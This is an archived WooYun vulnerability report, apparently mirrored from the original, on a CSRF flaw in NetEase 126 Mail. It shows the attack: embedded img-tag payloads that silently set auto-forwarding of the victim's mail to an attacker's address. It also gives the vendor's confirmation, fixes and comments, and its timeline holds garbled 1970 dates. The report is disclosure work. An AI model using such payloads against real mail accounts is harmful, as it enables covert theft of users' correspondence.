网易邮箱CSRF漏洞

漏洞概要

缺陷编号:WooYun-2010-018

漏洞标题:网易邮箱CSRF漏洞

相关厂商:网易

漏洞作者:冰燃

提交时间:2010-07-14 17:32

公开时间:2010-08-18 16:37

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2010-07-14: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商已经确认,细节仅向厂商公开
1970-01-11: 细节向核心白帽子及相关领域专家公开
1970-01-21: 细节向普通白帽子公开
1970-01-31: 细节向实习白帽子公开
2010-08-18: 细节向公众公开

简要描述:

网易邮箱存在CSRF漏洞,成功攻击可能导致用户数据被窃取。

详细说明:

网易126邮箱存在CSRF漏洞,攻击者只需要构造一个邮件发给126用户的邮箱,在邮件按里嵌入一个图片,被攻击用户只要打开了该邮件,邮箱就会被设置自动转发给攻击者邮箱。<img src="http://www.secevery.com:4321/bugs/wooyun-2010-018/http:[email protected]&keeplocal=1&callback=MM.autofwd.valCallback" /><img src="http://www.secevery.com:4321/bugs/wooyun-2010-018/http:[email protected]&keeplocal=1&callback=MM.autofwd.valCallback" /><img src="http://www.secevery.com:4321/bugs/wooyun-2010-018/http:[email protected]m&keeplocal=1&callback=MM.autofwd.valCallback" />

漏洞证明:

<img src="http://www.secevery.com:4321/bugs/wooyun-2010-018/http:[email protected]&keeplocal=1&callback=MM.autofwd.valCallback" /><img src="http://www.secevery.com:4321/bugs/wooyun-2010-018/http:[email protected]&keeplocal=1&callback=MM.autofwd.valCallback" /><img src="http://www.secevery.com:4321/bugs/wooyun-2010-018/http:[email protected]m&keeplocal=1&callback=MM.autofwd.valCallback" />

修复方案:

1.建议添加CSRF Token.2.修改提交方式GET为POST.

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2010-07-14 17:32

厂商回复:

感谢冰燃,请发地址到我们的邮箱,礼物奉上。

最新状态:

暂无

评价

  1. 2010-01-01 00:00 NiceWorm 白帽子 | Rank:179 漏洞数:38)

    1970-01-01: 厂商已经确认,细节仅向厂商公开
    1970-01-11: 细节向核心白帽子及相关领域专家公开
    1970-01-21: 细节向普通白帽子公开
    1970-01-31: 细节向实习白帽子公开
    1970-02-15: 细节向公众公开
    难道我眼花了。。

  2. 2010-01-01 00:00 Stream 白帽子 | Rank:5 漏洞数:1)

    nice

  3. 2010-01-01 00:00 神倦懒言 白帽子 | Rank:0 漏洞数:1)

    1970-01-31: 细节向实习白帽子公开
    2010-08-18: 细节向公众公开
    -----------
    我等实习白帽屁民都在穿越中......

  4. 2010-01-01 00:00 he1renyagao 白帽子 | Rank:224 漏洞数:28)

    mark

  5. 2010-01-01 00:00 木马游民 白帽子 | Rank:8 漏洞数:2)

    好思路赞一个

  6. 2010-01-01 00:00 px1624 白帽子 | Rank:963 漏洞数:126)

    这个不错。。不过现在肯定不行了

  7. 2010-01-01 00:00 crown丶prince 白帽子 | Rank:32 漏洞数:3)

    每年都有人回复么?

  8. 2010-01-01 00:00 theone 白帽子 | Rank:0 漏洞数:0)

    爱过.